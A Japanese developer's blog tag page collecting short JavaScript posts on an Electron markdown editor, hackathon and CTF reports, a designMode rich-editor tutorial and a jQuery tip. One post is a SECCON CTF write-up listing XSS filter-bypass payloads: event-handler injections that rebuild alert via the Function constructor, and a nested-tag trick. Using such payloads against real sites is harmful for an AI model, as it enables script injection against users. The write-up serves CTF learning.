JavaScript に関する投稿を表示しています

ぼくのぼくによるぼくのためのマークダウンエディタを作ってるところだからちょっと待って

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

こんにちは、ごみばこです。

世の中にはさまざまなマークダウンエディタがあります。

そして、ふつうのエディタにも、プラグインとしてマークダウン機能を搭載することができるものも多々あります。

しかし、どれも自分のほしい機能が整っていないので、自分で作る事にしました。
地産地消!!(違)

ほしい機能としては、こんなところでしょうか……。

  • 画面が2分割されてエディタとプレビューが並べて見れる
    • いま編集している箇所までいい感じにスクロールしてくれる
  • azuさんのtextlint(http://textlint.github.io/)による文字列のlintをしたい
    • ルールを状況によって切り替えたり変更したりしたい
    • 怒られているポイントをハイライトしてほしい
  • "プロジェクト"で縛られず、自由にファイルを開け閉めしたい
    • ※atomはこれでNG
  • タブにしたい
  • 整形されたHTMLをコピーしたい
  • emojiも使いたい
  • 軽快に動いてくれる

イメージはkobitoがすごい近いです。あれにtextlintが乗った感じです。
http://kobito.qiita.com/win

というところで、Electronでさくさく作ってます。で、エディタっぽい動きまではできました☆
デザインも細かい機能もさっぱりや……、というわけで、これからブラッシュアップですね!><

ここまでできている

ちょっと時間がとれてなさ過ぎてアレなんですけど、もうちょっと出来上がってきたら、いろいろ出していきますかねー。

それではまたー

Electronで社内ツールを作った話をしました / #JSオジサン #6 2日目

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

JSオジサン#6 2日目 で喋っていました。


こんにちは。ごみばこです。

最近はLaravelオジサン…ですかね。たーまーにJSオジサンしてます。
…いやいや、年齢的にはまだまだオジサンじゃなくて、お兄さんですよ。

JSオジサン#6 2日目

満員御礼!! JSオジサン #6 「まさかの3日間連続開催だよ!」2日目
https://atnd.org/events/71990

今回のJSオジサンも21cafeさんでの開催です。
いつもありがとうございます!そこそこキャパが広くて、スライドも見やすくて、立地もよし。快適環境です!

さて、今回のJSオジサンでは、言ってしまえば勉強会駆動開発のような「せっかくだから」精神で登壇者側に参戦しました。

せっかくチャンスがあるから。
せっかくElectronやってみたかったから。

せっかくだから作ってみた系の話をしました。

Electronで社内ツールを作ったお話 from sters9

すこし解説をいれます。

ハイテンションキャラ

LT5分だし、Electron超感動したし、実際ほんとすごいから、
ハイテンションキャラで「サイコー感」を出していこう。

という思いのもとで、こういうスライドに仕上げました。
普段からこんなじゃないですよ!!!!!

偶然にも、ハイテンションノリが他の人と被っておらず、「Electron」という流行ネタも被らず、
いい感じに印象づけはできたのかなと思っていたりします。

社内ツール1

「なんとかかんとかーベイ」ってサービスの管理画面が、Flash製でもっさりでつらい。
というところから来ています。

当初はブックマークレット超がんばっていたのですが、人によっては動く動かないとかで、
こまめな対応や更新が面倒になってしまったので、いっそElectronでつくったろか、と。

いうのは実は後付けで、作ったのは一年前?とか、かなり前になります。
当時はnode-webkitを使って作ったのですが、「まあ、だいたいイメージ一緒だし…」というノリで入れました。

このときnode-webkitを触って、なんだかいい感じ!なんだけどなんだかなあ…
という気持ちがあったので、ここにきてElectronいい感じ!!という話を聞いてずっとやりたいと思っていたのでベストタイミングですね。

社内ツール2

Confuluenceのクライアントアプリです。

Qiitaで見かける、チャットワーククライアントアプリと同じように、
「webviewタグ」を使って、いわゆるガワネイティブと呼ばれる仕上がりにしています。

APIなんかも提供されているので、Confuluence内の色んなデータをばっさばっさ取れて、フルに画面を構築することも可能でしょう。ただGET系のリクエストは、JIRAやBitbucketなど、別のAtlassian製品を使ってると、そっちの情報が降ってきたり、 混在していたりすることもある(主にActivityStream)ので、扱いには気を付けないといけないこともあるかと思います。
オンプレの場合はちょっとわからないです…。ヘーシャはクラウドの方を利用しているので…。

そして、もしかしたら「最強のConfuluenceクライアント戦争」の到来…!?
参考:最強のTwitterクライアント戦争情報( http://r7kamura.hatenablog.com/entry/2015/08/25/154846


さてさてガワネイティブをしたとき、イケてない中身とかほしい機能を付けるためにもあれこれいじくりたくなりますよね?

ただ、Electronでは、Electronアプリを動かすプロセス、ウィンドウのプロセス、webviewのプロセス、といった具合に、それぞれの画面(?)は簡単にはつながっていないのです。
そんなとき、IPCと呼ばれるプロセス間通信の機能を使うことで…

うーん、長くなりそう…。このあとはまたどこかで書きます。


ツール2のConfuluenceクライアントアプリについては、、いかんせん急ごしらえな部分がおおく、正直見せられるようなものではない残念施構成なのでうーん。

そのうち、またElectronの話を書きます。
感動したので熱はしばらく冷めないことでしょう。

それではまたー(*'ω'*)


ア!1日目も参加者だったので、また参加レポあげます!!!

前後の記事

Next:
Prev:

私立プログラミングキャンプ2015 Tokyoに参加してました。

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

ピクシブさんにて、土日通しの泊まり込みハッカソンでした。

途中でちょこっと寝てしまったようですが、ほぼほぼ完走しました。

(ただし成果がついてきているとは言っていない)

ありがとうピクシブさん。
ありがとうゲヒルンさん。
ありがとうオプティムさん。

やったこと

・ごみばこいんのマルチプレイ対応(仮)
・誤字脱字検出っぽいなにか
・ごはんをたべる
・ツイッターを見る
・アニメを見る

ごみばこいんのマルチプレイ対応(仮)

作業時間の7割くらいをここに費やしました。

過去に一度やっていたのですが、ソースコードが消えてしまい…。

ということで、改めて作っていました。

サーバサイドでそれっぽい動きをするものを作り、ある程度の頻度で同期するようにしたら、
クライアント側の動きとサーバ側の動きが異なりすぎて、ひどいラグが起きているかのような同期性能になりました。

memo

ひどい…。

以前おこなっていた方が、WebSocketで高頻度で同期していたので、安定してくっついていましたが、
ちょっとこれではだめですね。

また出直してきます。

誤字脱字検出っぽいなにか

ちょっとした都合で、誤字脱字を判定したいなーという都合があり、
それっぽい実装でできるのでは?と思って試していました。

実装としては、機械学習のようななにかになっています。

よしなにわかち書きのようなことをしてからの、
前後の出てくる文字列を数えて、データとして持っています。

入力値に対しても同じように処理し、
もっているデータと付け合わせてレーベンシュタイン距離的なものを出し、
一番近いものを出す、だけです。

超簡単!!

が、たとえば、漢字が変換されてないとか誤変換とか、
「よしなにわかち書き」が雑すぎて、実用にはちょっと無理すぎるレベルでした。

その問題あたりをちゃんとしたら戦えそうな気がするので、
また試してみます。


tmp

ごはんをたべる

パンがメインでした!!!

あとエナドリ!!!

ビタミン不足しそうだったので、ウイダーインゼリー的なのも食べてました!!!

ツイッターを見る

ひと段落つくたびにツイッターみてました。

久々にまじまじ見てましたけど、結構おもしろいですよね。ツイッター。

アニメを見る

アニメを見ながらコード書いてました。

最近はやりの、友利奈緒さんを見ました。
非常に残念なことに、私には友利奈緒さんの良さがさっぱりわかりませんでした。
もうちょっと見るといいんですかね~。

あ、伊波まひるさんはかわいかったです。
良さがありました。

おわりに

ハックしてる感の高いハッカソンめっちゃ面白いのでまたやりたいです!!!!!!!

次はISUCONか~~!?!?!??

トップページに新機能を付けたいって

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

どうも。ごみばこです。
探しものは見つけにくいものです。まだまだ探します。
夢の中へ行っている場合じゃないです。


それはそうと、トップページを少しいじろうかと、やってみます。
なんにも進んでないですがちょっと紹介。

サーバ側で計算してどうこうとかなんとかかんとか。

そのうちできます多分。

『SECCON 2014 オンライン予選(日本語)』に参加してました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

どうも、ごみばこです。
いろいろあって更新してなかったり、いろんなダメージを追ったりしていますが
わたしはげんきです\('ω')/


というわけで久々のCTFでした。
今回はぼっちーむではなく********で参加です。

2000点で10位だそうです。
http://score.quals.seccon.jp/ranking/

おうち参加ではなくSFCまで行ってエナドリ飲みながらやってました。
複数人でわいわいやると楽しい!サイコー!

ぼっちのときと異なり、よくわからんところは任せよー、人数で押せるなーいいやーとなってしまい、あまり成果でなかったなーと思いました。ひとりのほうが、バイナリもやろうかな、とか、フォレンジックやるか、と、あれこれしようと思えるので、鍛えるならそっちのほうがいいかもしれないですねーって。

writeupはとくにないのでかかないです。
Web300は頑張った(意味深)ので、取れましたけど、周りの人をみるとスッキリ解いてるので、クソ。
http://nash.hatenablog.com/entry/2014/07/19/213114

他はさっぱりでした。
発想力が完全にどこかへ飛び立っていました。

次回もがんばりましょう。

トップページを更新しました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

seccon記事以来となりますね。

トップページをスマホ対応しようしよう思ってトントンと流れていたのですが、
もくもく会に参加した際に、この前見つけた物理エンジンを使ってみようと
切り替えたらスマホ対応いけちゃった感です。

ぷあさんとぐらぷすの愉快なもくもく会
http://www.zusaar.com/event/10387003

具体的には、Matter.js というものを使用しました。

Matter.js
http://brm.io/matter-js/

 

いままで、box2d-jquery を使って、DOMから構築しDOM更新されていく、なのですが、
今回は、全部js側に持って行き、そっちで全部動く、という形です。
(ので、今までDOM更新されていた分の処理が消えるのでぬるぬる感がでる、はず!)

加えて、スマホサポートもしているらしく、物理エンジン周りについては
とくに何もせずともスマホ対応できちゃいました。

ただ、スマホで見た時の画面がしんでいたので、cssをいじったり、iframeの幅をいい感じにしました。

 

ぜひスマホでもお試しあれ。


(追)

エイプリルフールからそのまま残っていた、
ゴミを吐き出していく処理はこのタイミングで消しました。

そのままではなんだかもったいないので、機能は残し、
ボタンを押すと吐き出すようにしています。

[SECCON] Web500 箱庭XSS Final

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

出たな箱庭!

なんどか試しているとどうやら入れた文字列([A-Za-z]?)が使えなくなる模様。なるほど。

1回目:"><script>alert("XSS")</script>
2回目:"><script>alert("XSS")</script> //←NG

困りつつ文字列を分解していく作戦にすると、どうやら一文字は除外される模様。

1回目:"><script>alert("X"+"S"+"S")</script>
2回目:"><script>window["ale"+"rt"]("X"+"S"+"S")</script>

ということで。(動く原理はjsfuckとかで調べてください)

"/onfocus=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/ondblclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeydown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeypress=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeyup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousemove=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousedown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseover=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseout=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onblur=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onchange=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onselect=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousewheel=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
FLAG: アイ・アム・アラート出したいマン!

終わったあとにもう少し触ってみたら、消されたときの残りがくっついて通るんですねこれ。

"><script>alert("XSS")</script>
"><sscriptcript>aalertlert("XXSSSS")</sscriptcript>

Finalということは次には期待しなくていいんですよね(フラグ)

document.designMode = “On”;

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

わけあってリッチエディタについてちょろっと調べてみたら、なんと簡単にできるじゃないですか。
キーワードは「document.designMode = "On";」

ここで必要なもの

  • Webブラウザ
    最近のブラウザであればだいたい大丈夫です。
    スマホは未確認です。
  • JSをさっくりと読める程度の力
  • HTMLをさっくりと読める程度の力

おおまかな手順

  1. HTMLを書きます

    <html><body>
        <button onclick="editor.execCommand('undo')">元に戻す</button>
        <button onclick="editor.execCommand('bold')">太字</button>
        <button onclick="editor.execCommand('italic')">斜体</button>
        <iframe></iframe>
        <script>
            editor = document.getElementsByTagName("iframe")[0].contentDocument;
            editor.designMode = "On";
        </script>
    </body></html>
  2. Enjoy!

なるほどわからん

  • <html>
    buttonとiframeがあるだけのHTMLを用意します。
    button:ボタンを表示する
    iframe:フレームを用意して、別のページを表示する。

  • <button>
    1. <button onclick="editor.execCommand('XXXXX')">
      onclickは、クリックされた時の処理を書きます

    2. editor.execCommand
      editor変数に対して、execCommandという関数を呼びます。
      execCommandはdesignMode="On"(あとで説明)のドキュメントに対して使用できます。
      これをつかうと様々な"リッチな機能"を使えます。

  • <script>
    1. document.getElementsByTagName
      現在のドキュメント内に該当するタグを検索する。戻り値は配列

    2. document.getElementsByTagName("iframe")[0]
      iframe要素の0番目、ひとつしか無いからそれを持ってくるはず

    3. document.getElementsByTagName("iframe")[0].contentDocument
      iframe要素の0番目の中身のドキュメントを参照する
      iframe内は、別のWebページみたいな扱いなのでそういうことですね。

    4. editor変数にiframe内のドキュメントを投入しておく
      onclickイベントで簡単に書きたいのでこうします。

    5. editor.designMode = "On";
      documentオブジェクトに対して、designModeプロパティを"On"に設定することで、
      リッチなエディタができちゃいます。

限られた空間だけエディタ化したかったので、iframeを使いました。

おわりに

ボタンを増やして、
execCommandを増やして、
CSSとか書くとよいと思います。

参考

Mozilla におけるリッチテキスト編集 | MDN

前後の記事

Next:
Prev:

「submitで複数の関数を動かしたいんですけどどうやるんですか」

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

ぼく「うーん?????」
ぼく「あっ(jQueryのsubmitイベントに複数の処理ぶち込みたいんだろうなあ...って普通に書けばいいいと思います!)」

参考:http://api.jquery.com/submit/
要約:$("~~").submit( // ここに関数オブジェクトぶち込む // )

関数オブジェクト is 何:関数オブジェクトは関数オブジェクトや
参考:https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions_and_function_scope
要約:"function A(){}" もしくは "var A = function(){};" などとしたときの "A" の中身がソレ。
つーかfunction構文とかFunctionのインスタンスつくったときに生成できる。
(以下のサンプル見たほうが早いし用語とか解釈に若干不安が...)

まとめるとこんなかんじ

// ex.1
$("#form").submit(function(){
  // 処理A //
  // 処理B //
});
// ex.2
function AAA() {
  // 処理A //
}
function BBB() {
  // 処理B //
}

$("#form").submit(function(){
  AAA();
  BBB();
});
// ex.3
// 複数バインドしたときには、実行順序は多分バインドした順。A->B
$("#form").submit(function(){
  // 処理A //
});
$("#form").submit(function(){
  // 処理B //
});

おしまい

シェイクシェイクブギーナムーナサーワギーwwww

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

トップページに[Shake]ボタンを設置しました。

ごみオブジェクトを今の向きへ加速するやつです。

疲れた時にでも押してリフレッシュしましょう。

シェイクかどうか微妙ですが、いい命名が思いつかなかったのでいったんシェイクです。

今後もあれこれ機能増やして行きたいですね。

ピタゴラスイッチみたいのつくってみたいなーと思いつつ
スマホ対応もしたいなーと思いつつ
ぜんぜん手つかずですがそのうち実装します。

前後の記事

Next:
Prev:
1 2 3